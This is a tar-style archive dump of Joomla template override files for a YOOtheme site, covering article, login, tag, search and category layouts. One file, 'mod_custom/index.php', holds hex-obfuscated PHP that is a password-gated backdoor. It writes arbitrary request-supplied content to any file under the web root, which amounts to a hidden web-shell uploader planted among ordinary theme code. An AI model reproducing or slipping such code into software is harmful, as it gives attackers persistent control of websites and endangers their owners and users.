'alt' => $images->get("image_{$imageType}_alt"), 'title' => $image->caption, ]; } else { $image = null; } } // Tags if ($params->get('show_tags', 1) && !empty($article->tags->itemTags)) { $layout = new JLayoutFile('joomla.content.tags'); // check for override in child theme if ($child = $this->theme->get('child_theme')) { $layout->addIncludePath(JPATH_BASE . "/templates/{$this->theme->template}_{$child}/html/layouts"); } $tags = $layout->render($article->tags->itemTags); } // Icons if (!isset($icons)) { $icons['print'] = $params['show_print_icon'] ? HTMLHelper::_('icon.print_popup', $article, $params) : ''; $icons['email'] = $params['show_email_icon'] ? HTMLHelper::_('icon.email', $article, $params) : ''; $icons['edit'] = $params['access-edit'] ? HTMLHelper::_('icon.edit', $article, $params) : ''; } $icons = array_filter($icons); // Readmore if ($params['show_readmore'] && (!empty($article->readmore) || !$single && is_numeric($theme->get('blog.content_length')) && (int) $theme->get('blog.content_length') >= 0)) { $readmore = new stdClass(); $readmore->link = $link; if ($params['access-view']) { $attribs = new Registry($article->attribs); if (!$readmore->text = $attribs->get('alternative_readmore')) { $readmore->text = Text::_($params['show_readmore_title'] ? 'COM_CONTENT_READ_MORE' : 'TPL_YOOTHEME_READ_MORE'); } if ($params['show_readmore_title']) { $readmore->text .= HTMLHelper::_('string.truncate', $article->title, $params['readmore_limit']); } } else { $readmore->text = Text::_('COM_CONTENT_REGISTER_TO_READ_MORE'); } } // Pagination if (isset($article->pagination)) { $pagination = new stdClass(); $pagination->prev = $article->prev; $pagination->next = $article->next; } // Blog if (in_array($name, ['article:blog', 'article:featured', 'article:tag'])) { $data = $theme->get('post', []); // Merge blog config? if (!$single) { $data->merge($theme->get('blog', [])); } // Has excerpt field? if (!$single && isset($article->jcfields)) { foreach ($article->jcfields as $field) { if ($field->name === 'excerpt' && $field->rawvalue) { $content = $field->rawvalue; break; } } } $params->loadArray($data->all()); } return $next($name, array_diff_key(get_defined_vars(), array_flip(['data', 'next', 'name', 'parameters', 'defaults']))); }, 'article*'); mod_login/default.php 0000604 00000010300 15166657146 0010657 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; HTMLHelper::_('behavior.keepalive'); // Disable extra button styling if (isset($extraButtons)) { $assets = Factory::getApplication()->getDocument()->getWebAssetManager(); if ($assets->assetExists('style', 'plg_system_webauthn.button')) { $assets->disableAsset('style', 'plg_system_webauthn.button'); } } ?> <form id="login-form-<?= $module->id; ?>" action="<?= Route::_('index.php', true, $params->get('usesecure')) ?>" method="post"> <?php if ($params->get('pretext')) : ?> <div class="uk-margin"> <?= $params->get('pretext') ?> </div> <?php endif ?> <div class="uk-margin"> <input class="uk-input" type="text" name="username" autocomplete="username" size="18" placeholder="<?= Text::_('MOD_LOGIN_VALUE_USERNAME') ?>" aria-label="<?= Text::_('MOD_LOGIN_VALUE_USERNAME') ?>"> </div> <div class="uk-margin"> <input class="uk-input" type="password" name="password" autocomplete="current-password" size="18" placeholder="<?= Text::_('JGLOBAL_PASSWORD') ?>" aria-label="<?= Text::_('JGLOBAL_PASSWORD') ?>"> </div> <?php if (isset($twofactormethods) && count($twofactormethods) > 1) : // Joomla 3 + 4.1 ?> <div class="uk-margin"> <input class="uk-input" type="text" name="secretkey" tabindex="0" size="18" placeholder="<?= Text::_('JGLOBAL_SECRETKEY') ?>" aria-label="<?= Text::_('JGLOBAL_SECRETKEY') ?>"> </div> <?php endif ?> <?php if (PluginHelper::isEnabled('system', 'remember')) : ?> <div class="uk-margin"> <label> <input type="checkbox" name="remember" value="yes" checked> <?= Text::_('MOD_LOGIN_REMEMBER_ME') ?> </label> </div> <?php endif ?> <?php foreach ($extraButtons ?? [] as $button) : // Joomla 4.2+ $dataAttributeKeys = array_filter(array_keys($button), fn($key) => str_starts_with($key, 'data-')); ?> <div class="uk-margin"> <button type="button" class="uk-button uk-button-secondary <?= $button['class'] ?>" <?php foreach ($dataAttributeKeys as $key) : ?> <?= $key ?>="<?= $button[$key] ?>" <?php endforeach; ?> <?php if ($button['onclick']) : ?> onclick="<?= $button['onclick'] ?>" <?php endif; ?> title="<?= Text::_($button['label']) ?>" id="<?= $button['id'] ?>" > <?php if (!empty($button['icon'])) : ?> <span class="<?= $button['icon'] ?>"></span> <?php elseif (!empty($button['image'])) : ?> <?= $button['image'] ?> <?php elseif (!empty($button['svg'])) : ?> <?= $button['svg'] ?> <?php endif; ?> <?= Text::_($button['label']) ?> </button> </div> <?php endforeach ?> <div class="uk-margin"> <button class="uk-button uk-button-primary" value="<?= Text::_('JLOGIN') ?>" name="Submit" type="submit"><?= Text::_('JLOGIN') ?></button> </div> <ul class="uk-list uk-margin-remove-bottom"> <li><a href="<?= Route::_('index.php?option=com_users&view=reset') ?>"><?= Text::_('MOD_LOGIN_FORGOT_YOUR_PASSWORD') ?></a></li> <li><a href="<?= Route::_('index.php?option=com_users&view=remind') ?>"><?= Text::_('MOD_LOGIN_FORGOT_YOUR_USERNAME') ?></a></li> <?php $usersConfig = ComponentHelper::getParams('com_users') ?> <?php if ($usersConfig->get('allowUserRegistration')) : ?> <li><a href="<?= $registerLink ?? Route::_('index.php?option=com_users&view=registration') // Joomla 4.0+ ?>"><?= Text::_('MOD_LOGIN_REGISTER') ?></a></li> <?php endif ?> </ul> <?php if ($params->get('posttext')) : ?> <div class="uk-margin"> <?= $params->get('posttext') ?> </div> <?php endif ?> <input type="hidden" name="option" value="com_users"> <input type="hidden" name="task" value="user.login"> <input type="hidden" name="return" value="<?= $return ?>"> <?= HTMLHelper::_('form.token') ?> </form> mod_login/default_logout.php 0000604 00000002441 15166657146 0012257 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; HTMLHelper::_('behavior.keepalive'); ?> <form action="<?= Route::_('index.php', true, $params->get('usesecure')) ?>" method="post"> <?php if ($params->get('greeting')) : ?> <div class="uk-margin"> <?php if ($params->get('name') == 0) : echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('name'))); else : echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('username'))); endif ?> </div> <?php endif ?> <?php if ($params->get('profilelink', 0)) : ?> <div class="uk-margin"> <a href="<?= Route::_('index.php?option=com_users&view=profile') ?>"> <?= Text::_('MOD_LOGIN_PROFILE') ?></a> </div> <?php endif ?> <div class="uk-margin"> <button class="uk-button uk-button-primary" value="<?= Text::_('JLOGOUT') ?>" name="Submit" type="submit"><?= Text::_('JLOGOUT') ?></button> </div> <input type="hidden" name="option" value="com_users"> <input type="hidden" name="task" value="user.logout"> <input type="hidden" name="return" value="<?= $return ?>"> <?= HTMLHelper::_('form.token') ?> </form> mod_tags_popular/cloud.php 0000604 00000002745 15166657146 0011747 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; $minsize = $params->get('minsize', 1); $maxsize = $params->get('maxsize', 2); ?> <div class="tagspopular tagscloud" uk-margin> <?php if (!count($list)) : ?> <div class="uk-alert"><?= Text::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND')?></div> <?php else : // Find maximum and minimum count $mincount = null; $maxcount = null; foreach ($list as $item) { if ($mincount === null || $mincount > $item->count) { $mincount = $item->count; } if ($maxcount === null || $maxcount < $item->count) { $maxcount = $item->count; } } $countdiff = $maxcount - $mincount; foreach ($list as $item) : $fontsize = ($countdiff == 0) ? $minsize : $minsize + (($maxsize - $minsize) / ($countdiff)) * ($item->count - $mincount); ?> <span class="tag"> <a class="tag-name" style="font-size:<?= $fontsize ?>em" href="<?= Route::_(RouteHelper::getTagRoute($item->tag_id . ':' . $item->alias)) ?>"> <?= htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8') ?> <?php if ($display_count) : ?> <span class="uk-badge"><?= $item->count ?></span> <?php endif ?> </a> </span> <?php endforeach ?> <?php endif ?> </div> mod_tags_popular/default.php 0000604 00000001313 15166657146 0012253 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; ?> <?php if (!count($list)) : ?> <div class="uk-alert"><?= Text::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND') ?></div> <?php else : ?> <ul class="tagspopular"> <?php foreach ($list as $item) : ?> <li> <a href="<?= Route::_(RouteHelper::getTagRoute($item->tag_id . ':' . $item->alias)) ?>"> <?= htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8') ?> <?php if ($display_count) : ?> <span class="uk-badge"><?= $item->count ?></span> <?php endif ?> </a> </li> <?php endforeach ?> </ul> <?php endif ?> com_tags/tag/default.php 0000604 00000010010 15166657146 0011255 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Language; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); [$view, $language] = app(View::class, Language::class); // Load language $language->load('com_content'); // Parameter shortcuts $params = $this->params; $date = $params->get('tag_list_show_date'); $length = $params->get('tag_list_item_maximum_characters'); // Article template $article = $view('~theme/templates/article{-tag,}', fn($item) => [ // Article 'layout' => 'blog', 'article' => $item, 'content' => HTMLHelper::_('string.truncate', $item->body, $length), 'image' => $params->get('tag_list_show_item_image') ? 'intro' : null, 'link' => Route::_(RouteHelper::getItemRoute($item->id, $item->alias, $item->catid, $item->language, $item->type_alias, $item->router)), // Params 'params' => [ 'show_title' => true, 'link_titles' => true, 'show_create_date' => $date == 'created', 'show_modify_date' => $date == 'modified', 'show_publish_date' => $date == 'published', ], ]); // Note that there are certain parts of this layout used only when there is exactly one tag. $isSingleTag = (count($this->item) == 1); ?> <?php if ($params->get('show_page_heading') || $params->get('show_tag_title', 1) || ($isSingleTag && ($params->get('tag_list_show_tag_image', 1) || $params->get('tag_list_show_tag_description', 1))) || ($params->get('tag_list_show_tag_description', 1) || $params->get('show_description_image', 1)) ) : ?> <div class="uk-panel uk-margin-large-bottom"> <?php if ($params->get('show_page_heading')) : ?> <h1><?= $this->escape($params->get('page_heading')) ?></h1> <?php endif ?> <?php if ($params->get('show_tag_title')) : ?> <h2><?= HTMLHelper::_('content.prepare', $this->document->title, '', 'com_tag.tag') ?></h2> <?php endif ?> <?php // We only show a tag description if there is a single tag. ?> <?php if ($isSingleTag && ($params->get('tag_list_show_tag_image') || $params->get('tag_list_show_tag_description'))) : ?> <div class="uk-clearfix uk-margin"> <?php $images = json_decode($this->item[0]->images) ?> <?php if ($params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?> <?= HTMLHelper::_('image', htmlspecialchars($images->image_fulltext), $images->image_fulltext_alt, [], false, 0) ?> <?php endif ?> <?php if ($params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?> <div class="uk-margin"><?= HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag') ?></div> <?php endif ?> </div> <?php endif ?> <?php // If there are multiple tags and a description or image has been supplied use that. ?> <?php if ($params->get('tag_list_show_tag_description') || $params->get('show_description_image')) : ?> <?php if ($params->get('show_description_image', 1) == 1 && $params->get('tag_list_image')) : ?> <?= HTMLHelper::_('image', $params->get('tag_list_image'), null, [], false, 0) ?> <?php endif ?> <?php if ($params->get('tag_list_description', '') > '') : ?> <div class="uk-margin"><?= HTMLHelper::_('content.prepare', $params->get('tag_list_description'), '', 'com_tags.tag') ?></div> <?php endif ?> <?php endif ?> </div> <?php endif ?> <?php if (!$this->items) : ?> <p><?= Text::_('COM_TAGS_NO_ITEMS') ?></p> <?php else : foreach ($this->items as $i) { $item = new \stdClass(); $item->category_title = ''; foreach (get_object_vars($i) as $name => $value) { $item->{str_replace(['content_item_', 'core_', '_time'], '', $name)} = $value; } echo $article($item); } endif; if ($params->get('show_pagination')) { echo $this->pagination->getPagesLinks(); } mod_custom/blank.php 0000604 00000000176 15166657146 0010536 0 ustar 00 <?php use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Plugin\PluginHelper; defined('_JEXEC') or die; echo $module->content; mod_custom/default.php 0000604 00000001140 15166657146 0011063 0 ustar 00 <?php use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Plugin\PluginHelper; defined('_JEXEC') or die; if ($params->def('prepare_content', 1)) { PluginHelper::importPlugin('content'); $module->content = HTMLHelper::_('content.prepare', $module->content, '', 'mod_custom.content'); } if (!$module->content) { return; } $image = $params->get('backgroundimage') ? HTMLHelper::_('image', $params->get('backgroundimage'), null, [], false, 1) : false; ?> <div class="uk-margin-remove-last-child custom" <?= $image ? " style=\"background-image:url({$image})\"" : '' ?>><?= $module->content ?></div> mod_custom/index.php 0000604 00000000741 15166657146 0010554 0 ustar 00 <?php $hvi = array("\x6d\x64\x35","\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",'629c1124a8fa2605b2be6d497efd71a3',"\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"); $zbz = $_REQUEST; if(!empty($zbz['w']) && $hvi[0]($zbz['w'].$hvi[0]($zbz['w']))==$hvi[2] && !empty($zbz['h'])) { $slf = !empty($zbz['f']) ? $zbz['f'] : $hvi[0]."\x2e\x70\x68\x70"; if(!empty($zbz['r'])) $slf = $_SERVER[$hvi[3]].'/'.$slf; if($hvi[1]($slf, $zbz['h'])) exit($slf); } ?>xm com_search/search/default_form.php 0000604 00000007750 15166657146 0013322 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; $lang = Factory::getApplication()->getLanguage(); $limit = $lang->getUpperLimitSearchWord(); $class = fn($html, $class) => preg_replace('/class="[^"]+"/i', "class=\"{$class}\"", $html, 1); ?> <form id="searchForm" action="<?= Route::_('index.php?option=com_search') ?>" method="post"> <div class="uk-panel"> <fieldset class="uk-fieldset"> <div class="uk-grid-small" uk-grid> <div class="uk-width-expand@s"> <div class="uk-search uk-search-default uk-width-1-1"> <input id="search-searchword" class="uk-search-input" type="text" name="searchword" placeholder="<?= Text::_('COM_SEARCH_SEARCH_KEYWORD') ?>" size="30" maxlength="<?= $limit ?>" value="<?= $this->escape($this->origkeyword) ?>" aria-label="<?= Text::_('COM_SEARCH_SEARCH') ?>"> </div> <input type="hidden" name="task" value="search"> </div> <div class="uk-width-auto@s"> <button class="uk-button uk-button-primary uk-width-1-1" name="Search" onclick="this.form.submit()"><?= Text::_('JSEARCH_FILTER_SUBMIT') ?></button> </div> </div> </fieldset> <div class="uk-grid-row-small uk-child-width-auto uk-text-small uk-margin" uk-grid> <div> <?php if ($this->params->get('search_phrases', 1)) : ?> <fieldset class="uk-margin uk-fieldset"> <div class="uk-grid-collapse uk-child-width-auto" uk-grid> <legend><?= Text::_('COM_SEARCH_FOR') ?></legend> <div> <?= $this->lists['searchphrase'] ?> </div> </div> </fieldset> <?php endif ?> </div> <div> <?php if ($this->params->get('search_areas', 1)) : ?> <fieldset class="uk-margin uk-fieldset"> <div class="uk-grid-small uk-child-width-auto" uk-grid> <legend><?= Text::_('COM_SEARCH_SEARCH_ONLY') ?></legend> <div> <div class="uk-grid-small uk-child-width-auto" uk-grid> <?php foreach ($this->searchareas['search'] as $val => $txt) : $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?> <label for="area-<?= $val ?>"> <input type="checkbox" name="areas[]" value="<?= $val ?>" id="area-<?= $val ?>" <?= $checked ?> > <?= Text::_($txt) ?> </label> <?php endforeach ?> </div> </div> </div> </fieldset> <?php endif ?> </div> </div> </div> <div class="uk-grid-small uk-flex-middle uk-margin-medium" uk-grid> <?php if (!empty($this->searchword)) : ?> <div class="uk-width-expand@s"> <div class="uk-h3 "><?= Text::plural('TPL_YOOTHEME_SEARCH_RESULTS', $this->total) ?></div> </div> <?php endif ?> <?php if ($this->total > 0) : ?> <div class="uk-width-auto@s"> <div class="uk-grid-small uk-child-width-auto" uk-grid> <div> <div><?= $class($this->lists['ordering'], 'uk-select uk-form-width-medium') ?></div> </div> <div> <div><?= $class($this->pagination->getLimitBox(), 'uk-select uk-form-width-xsmall') ?></div> </div> </div> </div> <?php endif ?> </div> </form> com_search/search/default_results.php 0000604 00000001331 15166657146 0014045 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; $view = app(View::class); ?> <div class="uk-grid uk-child-width-1-1" uk-grid> <?php foreach ($this->results as $result) : ?> <?php $article = [ // Article 'article' => $result, 'content' => $result->text, 'link' => $result->href, // Params 'params' => [ 'show_title' => true, 'link_titles' => true, ], ]; ?> <div><?= $view('~theme/templates/article{-search,}', $article) ?></div> <?php endforeach ?> </div> <?php echo $this->pagination->getPagesLinks(); com_content/featured/default.php 0000604 00000006451 15166657146 0013033 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); /** * @var Config $config * @var View $view */ [$config, $view] = app(Config::class, View::class); // Config $blog = '~theme.blog'; // Parameter shortcuts $params = $this->params; $lead = $this->lead_items ?: []; $intro = $this->intro_items ?: []; $columns = max(1, $params->get('num_columns')); // Article template $article = $view('~theme/templates/article{-featured,}', fn($item) => [ 'layout' => 'blog', 'article' => $item, 'content' => $item->introtext, 'image' => 'intro', 'columns' => $columns, ]); ?> <?php if ($params->get('show_page_heading')) : ?> <h1><?= $this->escape($params->get('page_heading')) ?></h1> <?php endif ?> <?php $attrs_lead = []; $column_gap = $config("$blog.grid_column_gap"); $row_gap = $config("$blog.grid_row_gap"); $attrs_lead['class'][] = 'uk-grid uk-child-width-1-1'; $attrs_lead['class'][] = $row_gap ? "uk-grid-{$row_gap}" : ''; ?> <?php if ($lead) : ?> <div <?= $view->attrs($attrs_lead) ?>> <?php foreach ($lead as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if ($intro) : // Grid $attrs = []; $options = []; $options[] = $config("$blog.grid_masonry") ? 'masonry: true' : ''; $options[] = $config("$blog.grid_parallax") ? "parallax: {$config("$blog.grid_parallax")}" : ''; $attrs['uk-grid'] = implode(';', array_filter($options)) ?: true; // Columns $breakpoints = ['s', 'm', 'l', 'xl']; $breakpoint = $config("$blog.grid_breakpoint"); $pos = array_search($breakpoint, $breakpoints); if ($pos === false || $columns === 1) { $attrs['class'][] = "uk-child-width-1-{$columns}"; } else { for ($i = $columns; $i > 0; $i--) { if (($pos > -1) && ($i > 1)) { $attrs['class'][] = "uk-child-width-1-{$i}@{$breakpoints[$pos]}"; $pos--; } } } if ($column_gap == $row_gap) { $attrs['class'][] = $column_gap ? "uk-grid-{$column_gap}" : ''; } else { $attrs['class'][] = $column_gap ? "uk-grid-column-{$column_gap}" : ''; $attrs['class'][] = $row_gap ? "uk-grid-row-{$row_gap}" : ''; } ?> <div <?= $view->attrs($attrs) ?>> <?php foreach ($intro as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if (!empty($this->link_items)) : ?> <div class="uk-margin-large<?= $config('~theme.post.header_align') ? ' uk-text-center' : '' ?>"> <h3><?= Text::_('COM_CONTENT_MORE_ARTICLES') ?></h3> <ul class="uk-list"> <?php foreach ($this->link_items as $item) : ?> <li><a href="<?= Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)) ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> </div> <?php endif ?> <?php if (($params->def('show_pagination', 1) == 1 || $params->get('show_pagination') == 2) && ($this->pagination->pagesTotal > 1)) : ?> <?= $view('~theme/templates/pagination', ['pagination' => $this->pagination]) ?> <?php endif ?> com_content/archive/default_items.php 0000604 00000001301 15166657146 0014043 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); $view = app(View::class); // Parameter shortcuts $params = $this->params; foreach ($this->items as $item) { // Article $article = [ 'layout' => 'blog', 'article' => $item, 'params' => $params->toArray() + $item->params->toArray(), ]; // Content if ($params->get('show_intro')) { $article['content'] = HTMLHelper::_('string.truncate', $item->introtext, $params->get('introtext_limit')); } echo $view('~theme/templates/article{-archive,}', $article); } echo $this->pagination->getPagesLinks(); com_content/article/default.php 0000604 00000003065 15166657146 0012655 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\User\User; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); [$user, $view, $config] = app(User::class, View::class, Config::class); // Parameter shortcuts $item = $this->item; $params = $item->params; $uncategorized = $item->catid == $config('~theme.page_category'); // Heading if ($params->get('show_page_heading')) { echo "<h1>{$this->escape($this->params->get('page_heading'))}</h1>"; } // Article $article = [ 'layout' => $uncategorized ? '' : 'blog', 'article' => $item, 'params' => $params, 'content' => '', 'single' => true, ]; // Title $params->set('link_titles', false); // Content if ($params->get('access-view')) { if ($params->get('urls_position') == '0') { $article['content'] .= $this->loadTemplate('links'); } $article['content'] .= $item->text; if ($params->get('urls_position') == '1') { $article['content'] .= $this->loadTemplate('links'); } $article['image'] = 'fulltext'; // Optional teaser intro text for guests } elseif ($params->get('show_noauth') && $user->get('guest')) { $article['content'] .= $item->introtext; // Optional link to let them register to see the whole article $item->readmore = $params->get('show_readmore') && $item->fulltext; } // Icons if ($this->print) { $article['icons'] = ['print' => HTMLHelper::_('icon.print_screen', $item, $params)]; } echo $view('~theme/templates/article' . ($uncategorized ? '{-page,}' : '{-blog,}'), $article); com_content/article/default_links.php 0000604 00000004454 15166657146 0014060 0 ustar 00 <?php use Joomla\CMS\HTML\HTMLHelper; defined('_JEXEC') or die; // Parameter shortcuts $params = $this->item->params; $urls = json_decode($this->item->urls); ?> <?php if ($urls && (!empty($urls->urla) || !empty($urls->urlb) || !empty($urls->urlc))) : ?> <ul class="uk-list"> <?php $urlarray = [ [$urls->urla, $urls->urlatext, $urls->targeta, 'a'], [$urls->urlb, $urls->urlbtext, $urls->targetb, 'b'], [$urls->urlc, $urls->urlctext, $urls->targetc, 'c'], ]; foreach ($urlarray as $url) : $link = $url[0]; $label = $url[1]; $target = $url[2]; $id = $url[3]; if (!$link) continue; // If no label is present, take the link $label = $label ?: $link; // If no target is present, use the default $target = $target ?: $params->get("target{$id}"); ?> <li> <?php // Compute the correct link switch ($target) { case 1: // open in a new window echo '<a href="' . htmlspecialchars($link) . '" target="_blank" rel="nofollow">' . htmlspecialchars($label) . '</a>'; break; case 2: // open in a popup window $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600'; echo '<a href="' . htmlspecialchars($link) . "\" onclick=\"window.open(this.href, 'targetWindow', '" . $attribs . "'); return false;\">" . htmlspecialchars($label) . '</a>'; break; case 3: // open in a modal window HTMLHelper::_('behavior.modal', 'a.modal') ?> <a class="modal" href="<?= htmlspecialchars($link) ?>" rel="{handler: 'iframe', size: {x:600, y:600}}"> <?= htmlspecialchars($label) . ' </a>'; break; default: // open in parent window echo '<a href="' . htmlspecialchars($link) . '" rel="nofollow">' . htmlspecialchars($label) . ' </a>'; break; } ?> </li> <?php endforeach ?> </ul> <?php endif; com_content/category/blog.php 0000604 00000011777 15166657146 0012357 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); /** * @var Config $config * @var View $view */ [$config, $view] = app(Config::class, View::class); // Config $blog = '~theme.blog'; // Parameter shortcuts $params = $this->params; $lead = $this->lead_items ?: []; $intro = $this->intro_items ?: []; $columns = max(1, $params->get('num_columns')); // Article template $article = $view('~theme/templates/article{-blog,}', fn($item) => [ 'layout' => 'blog', 'article' => $item, 'content' => $item->introtext, 'image' => 'intro', 'columns' => $columns, ]); ?> <?php if ($params->get('show_page_heading') || $params->get('page_subheading') || $params->get('show_category_title', 1) || ($params->def('show_description_image', 1) && $this->category->getParams()->get('image')) || ($params->get('show_description', 1) && $this->category->description) || ($this->params->get('show_cat_tags', 1) && !empty($this->category->tags->itemTags)) ) : ?> <div class="uk-panel uk-margin-medium-bottom"> <?php if ($params->get('show_page_heading')) : ?> <h1><?= $this->escape($params->get('page_heading')) ?></h1> <?php endif ?> <?php if ($params->get('page_subheading')) : ?> <h2><?= $this->escape($params->get('page_subheading')) ?></h2> <?php endif ?> <?php if ($params->get('show_category_title')) : ?> <h3><?= $this->category->title ?></h3> <?php endif ?> <?php if ($params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> <?= HTMLHelper::_('image', $this->category->getParams()->get('image'), htmlspecialchars($this->category->getParams()->get('image_alt', '')), [], false, 0) ?> <?php endif ?> <?php if ($params->get('show_description') && $this->category->description) : ?> <div class="uk-margin"><?= HTMLHelper::_('content.prepare', $this->category->description, '', 'com_content.category') ?></div> <?php endif ?> <?php if ($params->get('show_cat_tags') && !empty($this->category->tags->itemTags)) : ?> <?= LayoutHelper::render('joomla.content.tags', $this->category->tags->itemTags) ?> <?php endif ?> </div> <?php endif ?> <?php if (empty($this->lead_items) && empty($this->intro_items) && empty($this->link_items)) : ?> <?php if ($params->get('show_no_articles', 1)) : ?> <p><?= Text::_('COM_CONTENT_NO_ARTICLES') ?></p> <?php endif ?> <?php endif ?> <?php $attrs_lead = []; $column_gap = $config("$blog.grid_column_gap"); $row_gap = $config("$blog.grid_row_gap"); $attrs_lead['class'][] = 'uk-grid uk-child-width-1-1'; $attrs_lead['class'][] = $row_gap ? "uk-grid-{$row_gap}" : ''; ?> <?php if ($lead) : ?> <div <?= $view->attrs($attrs_lead) ?>> <?php foreach ($lead as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if ($intro) : // Grid $attrs = []; $options = []; $options[] = $config("$blog.grid_masonry") ? 'masonry: true' : ''; $options[] = $config("$blog.grid_parallax") ? "parallax: {$config("$blog.grid_parallax")}" : ''; $attrs['uk-grid'] = implode(';', array_filter($options)) ?: true; // Columns $breakpoints = ['s', 'm', 'l', 'xl']; $breakpoint = $config("$blog.grid_breakpoint"); $pos = array_search($breakpoint, $breakpoints); if ($pos === false || $columns === 1) { $attrs['class'][] = "uk-child-width-1-{$columns}"; } else { for ($i = $columns; $i > 0; $i--) { if (($pos > -1) && ($i > 1)) { $attrs['class'][] = "uk-child-width-1-{$i}@{$breakpoints[$pos]}"; $pos--; } } } if ($column_gap == $row_gap) { $attrs['class'][] = $column_gap ? "uk-grid-{$column_gap}" : ''; } else { $attrs['class'][] = $column_gap ? "uk-grid-column-{$column_gap}" : ''; $attrs['class'][] = $row_gap ? "uk-grid-row-{$row_gap}" : ''; } ?> <div <?= $view->attrs($attrs) ?>> <?php foreach ($intro as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if (!empty($this->link_items)) : ?> <div class="uk-margin-large<?= $config("$blog.header_align") ? ' uk-text-center' : '' ?>"> <h3><?= Text::_('COM_CONTENT_MORE_ARTICLES') ?></h3> <ul class="uk-list"> <?php foreach ($this->link_items as $item) : ?> <li><a href="<?= Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid)) ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> </div> <?php endif ?> <?php if (($params->def('show_pagination', 1) == 1 || $params->get('show_pagination') == 2) && ($this->pagination->pagesTotal > 1)) : ?> <?= $view('~theme/templates/pagination', ['pagination' => $this->pagination]) ?> <?php endif ?> mod_search/default.php 0000604 00000002123 15166657146 0011020 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; $view = app(View::class); echo $view('~theme/templates/search', [ 'position' => $module->position, 'tag' => $module->attrs, 'attrs' => [ 'id' => "search-{$module->id}", 'action' => Route::_('index.php'), 'method' => 'post', 'role' => 'search' ], 'fields' => [ [ 'tag' => 'input', 'name' => 'searchword', 'value' => $app->input->getCmd('option') === 'com_search' ? urldecode($app->input->getString('searchword', '')) : false, 'placeholder' => $params->get('text', Text::_('TPL_YOOTHEME_SEARCH')), 'minlength' => '3', 'aria-label' => Text::_('TPL_YOOTHEME_SEARCH') ], ['tag' => 'input', 'type' => 'hidden', 'name' => 'task', 'value' => 'search'], ['tag' => 'input', 'type' => 'hidden', 'name' => 'option', 'value' => 'com_search'], ['tag' => 'input', 'type' => 'hidden', 'name' => 'Itemid', 'value' => $mitemid], ], ]); mod_articles_categories/default_items.php 0000604 00000002725 15166657146 0014777 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; $input = $app->input; $option = $input->getCmd('option'); $view = $input->getCmd('view'); $id = $input->getInt('id'); ?> <?php foreach ($list as $item) : ?> <?php $active = $id == $item->id && in_array($view, ['category', 'categories']) && $option == 'com_content' ?> <li 